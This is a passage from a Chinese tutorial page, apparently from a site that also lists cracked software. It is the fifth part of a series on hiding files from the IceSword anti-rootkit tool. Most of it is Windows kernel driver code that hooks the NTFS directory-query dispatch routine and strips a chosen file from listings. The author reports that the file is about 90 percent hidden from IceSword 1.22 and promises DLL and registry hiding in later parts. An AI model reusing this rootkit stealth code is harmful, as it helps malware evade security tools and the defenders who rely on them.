免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 各类编程 > 绕过冰刃IceSword隐藏文件(5)

绕过冰刃IceSword隐藏文件(5)

时间:2012-01-05 18:22来源:未知 整理:寂涯网络 点击:


       }
      }     
     }
    }
   ZwClose(hFile);
  }
 return result;

}
...........................................................
...........................................................
NTSTATUS Fake_NtfsCommonDirectoryControl(IN PVOID IrpContext,
                                         IN PIRP Irp)
{
     PIO_STACK_LOCATION IrpStack;
     PVOID buf;
  ULONG buflen;
  NTSTATUS status;
     PFILE_BOTH_DIR_INFORMATION currentDirInfo; 
     IrpStack=IoGetCurrentIrpStackLocation( Irp );
     if( (IrpStack->MajorFunction == IRP_MJ_DIRECTORY_CONTROL) &&

(IrpStack->MinorFunction == IRP_MN_QUERY_DIRECTORY) &&
   (IrpStack->Parameters.QueryDirectory.FileInformationClass ==
FileBothDirectoryInformation) )
     {
        status = OriginalNtfsCommonDirectoryControl(IrpContext,
                                                 Irp);
   if (NT_SUCCESS(Irp->IoStatus.Status)&&(Irp->IoStatus.Information>0))
  {
     buf = MapUserBuffer(Irp); 
     buflen = Irp->IoStatus.Information;
          HideFile(buf,&buflen,Irp);  
  }
  }
return Irp->IoStatus.Status;
}
VOID HideFile(IN OUT PVOID buf, IN PULONG lpBufLenth,OUT PIRP Irp)
{
    PFILE_BOTH_DIR_INFORMATION currentDirInfo =
(PFILE_BOTH_DIR_INFORMATION)buf;
 PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;
 BOOLEAN bLastOne;
    ULONG strlen = wcslen(HIDESYS);
    do 
    {
  bLastOne = !(currentDirInfo->NextEntryOffset);
    if (!_wcsnicmp(currentDirInfo->FileName,HIDESYS,strlen))
    {
    DbgPrint("HideFile=%ws\n",currentDirInfo->FileName);
       if(bLastOne)
    {
              if (currentDirInfo == (PFILE_BOTH_DIR_INFORMATION)buf)
              {
RtlZeroMemory(buf,Irp->IoStatus.Information);
   Irp->IoStatus.Information = 0;  
           Irp->IoStatus.Status = STATUS_NO_MORE_FILES;
     }else

详细代码请看源文件,为了得到正确的 NtfsCommonDirectoryControl 函数地址,主要
是怕 Ntfs 的分发例程函数被别人 HOOK,因此采取从原始文件读取,略微修改我写的这个函
数,可以找到所有 Ntfs 的原始分发例程函数。编译测试环境:windows xp sp3+WDK7600,并
且测试分区文件格式为NTFS 文件系统。利用最新 icesword1.22测试,

你会发现 icesword1.22已经找不到隐藏文件(deephidefile.sys)。
    文章到这里就结束了,细心的读者会发现,用驱动隐藏自身后,icsword1.22查找文件里有
一处没有文件名、大小、占用空间为0,时间是 1601-xx-xx(奇怪的日期)的项,而这一项
其实就是我们隐藏的文件,是因为我在隐藏文件函数只是抹去了文件名称,估计Icesword1.22
从文件链表的长度来计算了文件个数,因此虽然在IRP 抹掉了文件名,也就是存放文件名的
那部分内存被清0,但是 Icesword1.22通过链表个数还是计算出有这么一个文件,但是
icesword1.22已经找不到那,对这个文件更没法操作(删除、复制、强制删除都不行),90%
的隐藏,但还不是100%,读者不要问我为什么不做到100%的完美隐藏,因为我只是为
了帮同学的忙而已,并不是专诚用来做病毒木马,开个玩笑。有时间再给大家讲讲如何在
Icesword1.22下做dll隐藏、注册表隐藏.....,希望各位能够喜欢!

本页地址 http://www.jybase.net/biancheng/20120105742.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com